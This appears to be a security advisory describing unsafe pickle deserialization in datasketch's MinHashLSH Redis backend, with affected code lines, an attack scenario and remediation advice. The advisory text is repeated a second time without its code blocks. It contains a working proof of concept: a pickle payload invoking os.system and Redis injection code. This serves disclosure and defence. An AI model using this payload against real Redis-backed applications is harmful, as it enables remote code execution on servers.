CVE Report: Unsafe Pickle Deserialization in datasketch MinHashLSH Redis Backend
Summary
| Field |
Value |
| Product |
datasketch |
| Vendor |
ekzhu (Eric Zhu) |
| Version |
All versions up to and including 1.10.0 (latest) |
| Component |
datasketch.lsh.MinHashLSH, datasketch.experimental.aio.lsh.AsyncMinHashLSH |
| Vulnerability |
Deserialization of Untrusted Data (Unsafe Pickle) |
| CWE |
CWE-502: Deserialization of Untrusted Data |
| CVSS 3.1 Score |
9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Attack Vector |
Network |
| Impact |
Remote Code Execution (RCE) |
| Repository |
https://github.com/ekzhu/datasketch |
| License |
MIT |
| PyPI |
https://pypi.org/project/datasketch/ |
Description
The MinHashLSH class in datasketch uses Python's pickle.loads() to deserialize index keys retrieved from storage backends. When a Redis backend is used (which is the standard configuration for production-scale deployments), the prepickle parameter defaults to True, causing all keys to be serialized with pickle.dumps() on insertion and deserialized with pickle.loads() on query.
An attacker who gains write access to the Redis instance can inject a maliciously crafted pickle payload as a bucket member. When a legitimate user subsequently queries the LSH index, the malicious payload is deserialized via pickle.loads(), resulting in arbitrary code execution on the application server.
Python's pickle module is explicitly documented as unsafe for untrusted data:
Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.
Affected Code
Vulnerable Sink Locations
| File |
Line |
Method |
Context |
datasketch/lsh.py |
431 |
MinHashLSH.query() |
pickle.loads(key) for key in candidates |
datasketch/lsh.py |
474 |
MinHashLSH.collect_query_buffer() |
pickle.loads(key) for key in set.intersection(...) |
datasketch/lsh.py |
549 |
MinHashLSH.get_subset_counts() |
pickle.loads(key) for key in candidates |
datasketch/experimental/aio/lsh.py |
312 |
AsyncMinHashLSH.query() |
pickle.loads(key) for key in candidates |
Vulnerable Default Configuration
# datasketch/lsh.py line 182
# When storage_config["type"] == "redis" and prepickle is not explicitly set,
# prepickle defaults to True — enabling the vulnerable code path automatically.
self.prepickle = storage_config["type"] == "redis" if prepickle is None else prepickle
Data Flow (Source → Sink)
[Insertion - Trusted Path]
user key (Hashable)
→ pickle.dumps(key) # lsh.py:341
→ Redis SET member (bytes) # stored in Redis hash table bucket
[Attack - Untrusted Injection]
attacker writes crafted pickle payload directly to Redis
→ Redis SET member (malicious bytes)
[Query - Vulnerable Sink]
lsh.query(minhash)
→ hashtable.get(H) # lsh.py:428 — retrieves all members from Redis SET
→ candidates includes attacker-injected bytes
→ pickle.loads(key) # lsh.py:431 — ARBITRARY CODE EXECUTION
Attack Scenario
Prerequisites
- The target application uses
MinHashLSH with a Redis backend (default prepickle=True).
- The attacker has write access to the Redis instance. This can occur via:
- Direct access: Redis exposed without authentication (Redis default).
- SSRF: Server-Side Request Forgery allowing Redis protocol commands.
- Lateral movement: Attacker on the same network segment.
- Compromised credentials: Weak or leaked Redis AUTH password.
- Redis CVE exploitation: Exploiting known Redis vulnerabilities.
Exploitation Steps
-
Reconnaissance: Identify Redis keys used by datasketch. Keys follow a predictable naming pattern using the basename configuration parameter or a random prefix.
-
Payload Crafting: Construct a malicious pickle payload:
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(Exploit())
-
Injection: Write the payload into any datasketch hash table bucket in Redis:
SADD "datasketch:<basename>:<hashtable_key>" "<malicious_pickle_bytes>"
-
Trigger: Wait for a legitimate user/service to execute lsh.query(minhash) where the minhash hashes into the poisoned bucket. The malicious payload is deserialized and the attacker's code executes with the privileges of the application process.
Proof of Concept
import pickle
import os
import redis
from datasketch import MinHash, MinHashLSH
# --- Attacker Side ---
class RCEPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/CVE-datasketch-RCE-proof',))
malicious_bytes = pickle.dumps(RCEPayload())
r = redis.Redis(host='target-redis', port=6379)
# Inject into a known hash table bucket key in Redis
# The attacker needs to know (or brute-force) a valid bucket key
# In practice, bucket keys are deterministic hashes of minhash band values
r.sadd('datasketch_target_hashtable_bucket', malicious_bytes)
# --- Victim Side ---
lsh = MinHashLSH(
threshold=0.5,
num_perm=128,
storage_config={'type': 'redis', 'redis': {'host': 'target-redis', 'port': 6379}},
# prepickle defaults to True for Redis backend
)
m = MinHash(num_perm=128)
m.update(b'query_data')
# This call triggers pickle.loads() on all bucket members,
# including the attacker's payload → RCE
results = lsh.query(m) # ← Arbitrary code execution occurs here
Impact
| Impact Category |
Severity |
Description |
| Confidentiality |
HIGH |
Attacker can read arbitrary files, environment variables, secrets. |
| Integrity |
HIGH |
Attacker can modify files, inject backdoors, tamper with data. |
| Availability |
HIGH |
Attacker can crash the process, consume resources, or deploy ransomware. |
| Scope |
UNCHANGED |
Exploitation affects only the vulnerable component's host. |
| Privileges Required |
NONE |
No application-level authentication needed; only Redis write access. |
| User Interaction |
NONE |
Triggered automatically by normal LSH query operations. |
Real-World Risk Factors
- datasketch has 2.6k+ GitHub stars and is widely used in data deduplication, entity resolution, and near-duplicate detection pipelines.
- Redis backend is the recommended production configuration for large-scale deployments.
- Redis instances are frequently deployed without authentication on internal networks.
- The vulnerability is in the read path (query), making it a passive trigger — the victim does not need to perform any unusual action.
CVSS 3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Score: 9.8 (Critical)
Note: If the CVSS scoring considers that Redis write access constitutes a prerequisite privilege, PR:L would reduce the score to 8.8 (High). However, since Redis commonly runs without authentication and can be reached via SSRF (no application credential needed), PR:N is the more accurate assessment for real-world deployments.
Recommended Remediation
Short-Term (Mitigation)
- Disable
prepickle: Set prepickle=False and ensure all keys are bytes:
lsh = MinHashLSH(..., storage_config={'type': 'redis', ...}, prepickle=False)
lsh.insert(b'my_key_as_bytes', minhash)
- Secure Redis: Enable AUTH, use TLS, restrict network access via firewall rules, use Redis ACLs (Redis 6+).
Long-Term (Fix)
-
Replace pickle with a safe serialization format for key storage. Since keys must be Hashable, viable alternatives include:
json.dumps()/json.loads() for JSON-serializable keys (strings, numbers, tuples).
msgpack or cbor2 for broader type support without code execution risk.
- A custom
struct-based encoding for fixed key types.
-
If pickle must be retained for backward compatibility, implement:
- A restricted
Unpickler subclass that only allows safe types:
import pickle
import io
SAFE_TYPES = {str, bytes, int, float, tuple, list, set, frozenset, dict, type(None)}
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
import builtins
if module == 'builtins' and getattr(builtins, name, None) in SAFE_TYPES:
return getattr(builtins, name)
raise pickle.UnpicklingError(
f"Deserialization of {module}.{name} is blocked for security."
)
def safe_loads(data: bytes):
return SafeUnpickler(io.BytesIO(data)).load()
- Replace all
pickle.loads(key) calls with safe_loads(key).
-
Change the default: Set prepickle=False as the default for all backends, and require users to explicitly opt in with a security warning in the documentation.
-
Add a deprecation warning when prepickle=True is used with external storage backends.
References
Timeline
| Date |
Event |
| 2026-03-25 |
Vulnerability identified |
| 2026-04-29 |
Public disclosure (GitHub issue) |
| TBD |
Vendor notification |
| TBD |
Vendor acknowledgement |
| TBD |
Patch released |
| TBD |
CVE ID assigned |
| TBD |
Public disclosure |
Credit
Discovered during security review of datasketch v1.9.0.
Disclosure Policy: This report follows responsible disclosure practices. The vendor should be notified and given a reasonable remediation window (typically 90 days) before public disclosure.
CVE Report: Unsafe Pickle Deserialization in datasketch MinHashLSH Redis Backend
Summary
datasketch.lsh.MinHashLSH,datasketch.experimental.aio.lsh.AsyncMinHashLSHDescription
The
MinHashLSHclass in datasketch uses Python'spickle.loads()to deserialize index keys retrieved from storage backends. When a Redis backend is used (which is the standard configuration for production-scale deployments), theprepickleparameter defaults toTrue, causing all keys to be serialized withpickle.dumps()on insertion and deserialized withpickle.loads()on query.An attacker who gains write access to the Redis instance can inject a maliciously crafted pickle payload as a bucket member. When a legitimate user subsequently queries the LSH index, the malicious payload is deserialized via
pickle.loads(), resulting in arbitrary code execution on the application server.Python's
picklemodule is explicitly documented as unsafe for untrusted data:Affected Code
Vulnerable Sink Locations
datasketch/lsh.pyMinHashLSH.query()pickle.loads(key) for key in candidatesdatasketch/lsh.pyMinHashLSH.collect_query_buffer()pickle.loads(key) for key in set.intersection(...)datasketch/lsh.pyMinHashLSH.get_subset_counts()pickle.loads(key) for key in candidatesdatasketch/experimental/aio/lsh.pyAsyncMinHashLSH.query()pickle.loads(key) for key in candidatesVulnerable Default Configuration
Data Flow (Source → Sink)
Attack Scenario
Prerequisites
MinHashLSHwith a Redis backend (defaultprepickle=True).Exploitation Steps
Reconnaissance: Identify Redis keys used by datasketch. Keys follow a predictable naming pattern using the
basenameconfiguration parameter or a random prefix.Payload Crafting: Construct a malicious pickle payload:
Injection: Write the payload into any datasketch hash table bucket in Redis:
Trigger: Wait for a legitimate user/service to execute
lsh.query(minhash)where the minhash hashes into the poisoned bucket. The malicious payload is deserialized and the attacker's code executes with the privileges of the application process.Proof of Concept
Impact
Real-World Risk Factors
CVSS 3.1 Vector
Score: 9.8 (Critical)
Recommended Remediation
Short-Term (Mitigation)
prepickle: Setprepickle=Falseand ensure all keys arebytes:Long-Term (Fix)
Replace
picklewith a safe serialization format for key storage. Since keys must beHashable, viable alternatives include:json.dumps()/json.loads()for JSON-serializable keys (strings, numbers, tuples).msgpackorcbor2for broader type support without code execution risk.struct-based encoding for fixed key types.If
picklemust be retained for backward compatibility, implement:Unpicklersubclass that only allows safe types:pickle.loads(key)calls withsafe_loads(key).Change the default: Set
prepickle=Falseas the default for all backends, and require users to explicitly opt in with a security warning in the documentation.Add a deprecation warning when
prepickle=Trueis used with external storage backends.References
Timeline
Credit
Discovered during security review of datasketch v1.9.0.
Disclosure Policy: This report follows responsible disclosure practices. The vendor should be notified and given a reasonable remediation window (typically 90 days) before public disclosure.